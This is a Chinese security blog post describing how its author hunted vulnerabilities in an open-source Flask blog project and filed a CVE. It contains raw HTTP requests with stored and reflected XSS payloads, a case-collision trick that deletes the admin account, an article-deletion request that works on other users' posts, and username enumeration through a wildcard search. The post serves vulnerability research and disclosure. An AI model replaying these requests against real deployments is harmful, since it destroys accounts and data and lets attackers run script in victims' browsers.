关注并星标🌟 一起学安全❤️
作者:coleak
首发于公号:渗透测试安全攻防
字数:39920
声明:仅供学习参考,请勿用作违法用途
目录
-
前记 -
资产收集 -
漏洞挖掘 -
黑盒挖掘 -
白盒挖掘 -
CVE申请/公开流程
前记
CVE编号获取步骤:
-
资产收集 -
黑/白盒挖掘 -
编写漏洞详情 -
申请CVE编号 -
编写公开申明 -
申请CVE公开
资产收集
Github搜索语法参考如下,选择关键词和要挖掘的编程语言,筛选近期有更新的并且有一定stars的项目
blog language:Python pushed:>2023-01-01 stars:>200flask system language:Python pushed:>2023-01-01 stars:>200
漏洞挖掘
以flask框架开发的某博客项目为例展示挖掘思路
黑盒挖掘
存储型XSS
发布文章,分别在postContent、postTags、postTitle放入恶意payload
POST /createpost HTTP/1.1Host: 192.168.1.9:5000Content-Length: 1224Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.1.9:5000Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJCKdPQGF4EbeiOJCUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.1.9:5000/createpostAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: darkMode=false; session=.eJwty00OQDAQhuG7zNpCiyiHsHABmRkzJPWTaG2Iu6vE7nve5LuBw6FD3L1s0AK7mlRUKzIOUbjKTSlaos2JtDDU2LpwPI6QwYLbdOIk6XXNyWeQo8P1c5QQeV8E_d_7hNS_Cc8LYHIlYQ.Z6gwDg.4g8hrP5pUUC_44iK8fQsTDscV_IConnection: close------WebKitFormBoundaryJCKdPQGF4EbeiOJCContent-Disposition: form-data; name="csrf_token"ImM4N2JmZWZmNWIxOGFhZWM1MDE0ZWY0YTIwYmJmMzFiOTI3MzhjZGQi.Z6gwEA.WUBAoVlyQLvpS4oAs5E69mLvbyM------WebKitFormBoundaryJCKdPQGF4EbeiOJCContent-Disposition: form-data; name="postTitle"<img src=x onerror=alert(1)>------WebKitFormBoundaryJCKdPQGF4EbeiOJCContent-Disposition: form-data; name="postTags"<img src=x onerror=alert(2)>------WebKitFormBoundaryJCKdPQGF4EbeiOJCContent-Disposition: form-data; name="postBanner"; filename=""Content-Type: application/octet-stream------WebKitFormBoundaryJCKdPQGF4EbeiOJCContent-Disposition: form-data; name="postCategory"Apps------WebKitFormBoundaryJCKdPQGF4EbeiOJCContent-Disposition: form-data; name="postContent"<p><img src=x onerror=alert(3)><img src=x onerror=alert(3)><img src=x onerror=alert(3)><img src=x onerror=alert(3)><img src=x onerror=alert(3)><img src=x onerror=alert(3)></p>------WebKitFormBoundaryJCKdPQGF4EbeiOJCContent-Disposition: form-data; name="files"; filename=""Content-Type: application/octet-stream------WebKitFormBoundaryJCKdPQGF4EbeiOJC--
三处均可触发XSS
任意账户删除
以删除管理员用户admin为例,先注册任意账户,修改用户名为admiN
POST /changeusername HTTP/1.1Host: 192.168.1.9:5000Content-Length: 120Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.1.9:5000Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.1.9:5000/changeusernameAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: darkMode=false; session=.eJyrVkouLkqLL8nPTs1TslIyMk9MTjawTDVJNTIzSDFNNU82t7RIMzUzTTIyTDFJTjRIM05JSjFOUtJRyknMSy9NTE8F6qrKAPJLi1OL_BJzQfzk_JzUxGyoWBCQAxQDMZVqAY6OIxY.Z6gfDg.Pk4Kzk0p0KlUdPstEFzgI6OwzJ4Connection: closecsrf_token=IjI3YWNjMDllNGUyNjBkNWU3Yzc5OGY1NjViMjFkNGNhMGYzZGJkM2Ii.Z6gfFQ.kwiX_a_JhEHtsj6ufu6hbDyCY50&newUserName=admiN
查看sqlite3数据库log如下,成功改名为admiN
[09.02.25 | 11:21:53 | 中国标准时间] DATABASE Connecting to 'db/users.db' database[09.02.25 | 11:21:53 | 中国标准时间] DATABASE select userName from users where userName = 'admiN'[09.02.25 | 11:21:53 | 中国标准时间] DATABASE BEGIN[09.02.25 | 11:21:53 | 中国标准时间] DATABASE update users set userName = 'admiN' where userName = 'coleak'[09.02.25 | 11:21:53 | 中国标准时间] DATABASE COMMIT[09.02.25 | 11:21:53 | 中国标准时间] DATABASE BEGIN[09.02.25 | 11:21:53 | 中国标准时间] DATABASE update posts set Author = 'admiN' where author = 'coleak'[09.02.25 | 11:21:53 | 中国标准时间] DATABASE COMMIT[09.02.25 | 11:21:53 | 中国标准时间] DATABASE BEGIN[09.02.25 | 11:21:53 | 中国标准时间] DATABASE update comments set user = 'admiN' where user = 'coleak'[09.02.25 | 11:21:53 | 中国标准时间] DATABASE COMMIT[09.02.25 | 11:21:53 | 中国标准时间] SUCCESS User: "coleak" changed his username to "admiN"
点击删除账户
POST /accountsettings HTTP/1.1Host: 192.168.1.9:5000Content-Length: 102Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.1.9:5000Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.1.9:5000/accountsettingsAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: darkMode=false; session=.eJyrVkouLkqLL8nPTs1TslIyMEtOM0m0NLQwNbFMsTAzSjFNNDMDMizNTM3NzRONLVKSU4wMzVOUdJRyEvPSSxPTU4G6qjKA_NLi1CK_xFwQPzElN9MPKhSUnwMSAjGVagEgJSGU.Z6gt5A.LavL6foC_VRyh_PEXgIoBoegP-AConnection: closecsrf_token=IjA2Y2Y0YTkxODU0OWQ4NjJkNWE2NmQ4Njk2NTc3N2EzOGRjZDIxN2Qi.Z6gt8g.Ta9_tSfflbdrDzLT4EXpjUZX6D0
查看查看sqlite3数据库log如下:
[09.02.25 | 12:25:12 | 中国标准时间] DATABASE Connecting to 'db/users.db' database[09.02.25 | 12:25:12 | 中国标准时间] DATABASE select userName from users where userName = 'admiN'[09.02.25 | 12:25:12 | 中国标准时间] DATABASE Connecting to 'db/users.db' database[09.02.25 | 12:25:12 | 中国标准时间] DATABASE select * from users where lower(userName) = 'admin'[09.02.25 | 12:25:12 | 中国标准时间] DATABASE select role from users where userName = 'admiN'[09.02.25 | 12:25:12 | 中国标准时间] DATABASE BEGIN[09.02.25 | 12:25:12 | 中国标准时间] DATABASE delete from users where lower(userName) = 'admin'[09.02.25 | 12:25:12 | 中国标准时间] DATABASE update sqlite_sequence set seq = seq-1[09.02.25 | 12:25:12 | 中国标准时间] DATABASE COMMIT[09.02.25 | 12:25:12 | 中国标准时间] SUCCESS User: "admiN" deleted
删除逻辑为delete from users where lower(userName) = 'admin'
,此时通过改名admiN并自删除账户成功将管理员账户admin删除
任意文章删除
点击删除一篇自己的文章并抓包,逻辑为发送post请求到/post/{postTitle},其中postTitle为任意文章标题,这里在bp中将其修改为别人的文章red-dead-redemption-2-a-masterpiece-in-the-world-of-gaming-b6f357785b37
,成功删除
POST /post/red-dead-redemption-2-a-masterpiece-in-the-world-of-gaming-b6f357785b37 HTTP/1.1Host: 192.168.1.9:5000Content-Length: 120Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.1.9:5000Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.1.9:5000/post/test-e720370f494fAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: darkMode=false; session=.eJwty00OQDAQhuG7zNpCiyiHsHABmRkzJPWTaG2Iu6vE7nve5LuBw6FD3L1s0AK7mlRUKzIOUbjKTSlaos2JtDDU2LpwPI6QwYLbdOIk6XXNyWeQo8P1c5QQeV8E_d_7hNS_Cc8LYHIlYQ.Z6gzmQ.gbTc_haEntB5fahGESiX1zpXv6gConnection: closecsrf_token=ImM4N2JmZWZmNWIxOGFhZWM1MDE0ZWY0YTIwYmJmMzFiOTI3MzhjZGQi.Z6gzuA.LI1Kf9aKj5G0A2PO2ZydGwXfoFM&postDeleteButton=
白盒挖掘
存储型XSS
搜索|safe,发现postCardMacro.html.jinja和dashboard.html.jinja均存在下面代码端
<!-- Post Content --><divclass="text-base px-2 overflow-y-hidden h-[7.5rem]"> {{ post[3]|safe }}</div>
其中postCardMacro.html.jinja还被index.html继承,查看dashboard.html.jinja发现是由dashboard.py渲染,代码如下
connection = sqlite3.connect(DB_POSTS_ROOT) connection.set_trace_callback( Log.sql ) # Set the trace callback for the connection cursor = connection.cursor()# Query the posts database for the posts authored by the session user name cursor.execute("""select * from posts where author = ? order by timeStamp desc""", [(session["userName"])], ) posts = cursor.fetchall()return render_template("/dashboard.html.jinja", posts=posts, comments=comments, showPosts=showPosts, showComments=showComments, )
这里post[3]在数据库中是content,发送一篇文章,内容填写恶意payload,访问http://192.168.1.9:5000/dashboard/admin
,成功触发XSS
另外还有post.html.jinja中存在如下代码,这也是上面文章详细页中三处都能XSS的原因
<!-- Post Content --> <p>{{ content | safe }} <br /></p>
用户名泄露
在search.py里面存在下面代码
@searchBlueprint.route("/search/<query>", methods=["GET", "POST"])defsearch(query):# Replace the %20 and + characters in the query with spaces query = query.replace("%20", " ") queryNoWhiteSpace = query.replace("+", "") queryUsers = cursor.execute("""select * from users where userName like ? """, [ ("%" + queryNoWhiteSpace + "%"), ], ).fetchall()
通过前端将头像和用户名输出
{% for user in users %} {% for user_data in user %}<!-- User result card --><divclass="w-fit my-2 mx-auto flex items-end border-2 rounded-md shadow-md border-gray-500/25"><imgsrc="{{ user_data[4] }}"class="w-20 m-2" /><ahref="/user/{{ user_data[1]|lower }}"class="m-2 text-rose-500 hover:text-rose-600 duration-150 font-medium">{{ user_data[1] }}</a>
这里query输入为%
或者_
即可获取所有完整的用户名
当然直接渲染用户输入的 query
到模板还存在反射型xss,这里不细说,直接访问如下链接即可触发http://192.168.1.9:5000/search/%3Cimg%20src=x%20onerror=alert(1)%3E
当然还有小问题,比如没显式地关闭数据库连接,建议如下:
try: connection = sqlite3.connect(DB_USERS_ROOT)# 执行操作finally: connection.close()#或者with sqlite3.connect(DB_USERS_ROOT) as connection: cursor = connection.cursor()# 执行查询
账户登录逻辑错误
cursor.execute("""select * from users where lower(userName) = ? """, [(userName.lower())], ) user = cursor.fetchone()
用户A账户名为admiN,B用户账户名为Admin,如果A先注册,则即使B输入自己正确的密码也无法登录因为数据库优先匹配先注册的A的密码,而如果AB密码相同,则B用户输入自己的用户名Admin只能登录到A的账户
任意账户删除
上面黑盒也挖到了,这里看看后端处理逻辑,通过小写用户名确定删除对象
cursor.execute("""delete from users where lower(userName) = ? """, # Delete the row from the users table where the lowercased userName column matches the lowercased given userName [ (userName.lower()) ], # Use the lowercased version of the userName and a parameterized query to avoid SQL injection )
CVE申请/公开流程
以之前申请的CVE为例展示申请和公开流程以及报告格式
1、编写漏洞详情
在Github发起issues,格式参考如下,黑盒提供POC,白盒提供产生漏洞的关键源码
https://github.com/DogukanUrker/flaskBlog/issues/130https://github.com/yandaozi/PPress/issues/4
2、提交CVE申请
访问https://cveform.mitre.org/
选择Report Vulnerability/Request CVE ID并填写表单,审核通过后会发送邮件如下,告知你CVE编号和漏洞发现者等信息
3、编写公开声明
访问https://gist.github.com/
新建一个文本描述漏洞详情,格式可参考如下
https://gist.github.com/coleak2021/512acaa12ba0987499d560967acff1d1
[CVE-ID]cve-2025-25973[PRODUCT]PPress v0.0.9[TYPE]Stored XSS[DESCRIPTION]A stored xss vulnerability exists in the related recommendations feature, where title, category, tags can all trigger stored xss[DETAILS]A stored Cross-Site Scripting (XSS) vulnerability has been identified in the "related recommendations" feature of the affected application. The vulnerability allows attackers to inject malicious scripts via the article.title, article.category, and article.tags parameters. These scripts are stored persistently and executed when users interact with the compromised recommendations, leading to arbitrary code execution in the victim’s browser.Root Cause: The render_recommendations functionin the init.py code of article_recommender is defined by Markup(render_template_string(template)) and{% if render_recommendations is defined %}{{ render_recommendations()|safe }}{% endif %}rendering recommendations.html to article.html, the renderArticleCard in the recommendations.js code will display article.tags, article.category and article. title, these three variables lead to stored xss, which will be triggered when these three parameters are malicious payloads in the related recommendations article[Mitigation & Fix Recommendations]1.Input Validation & Sanitization:Sanitize title, category, and tags fields on input (e.g., strip HTML tags, enforce character whitelists).2.Output Encoding:Replace |safe with context-aware escaping (e.g., Flask’s autoescape=True, Jinja2 {{ variable | e }}).Ensure renderArticleCard in JavaScript encodes dynamic content using textContent or innerText instead of innerHTML.3.Content Security Policy (CSP):Implement a strict CSP header to block inline scripts (unsafe-inline).[MORE]https://github.com/yandaozi/PPress/issues/4
4、申请公开CVE
继续访问https://cveform.mitre.org/
选择Notify CVE about a publication并提交表单
审核完成并公开CVE,此时官网可以查询到CVE对应的漏洞详情
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-25973
原文始发于微信公众号(渗透测试安全攻防):CVE挖掘思路和申请步骤
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论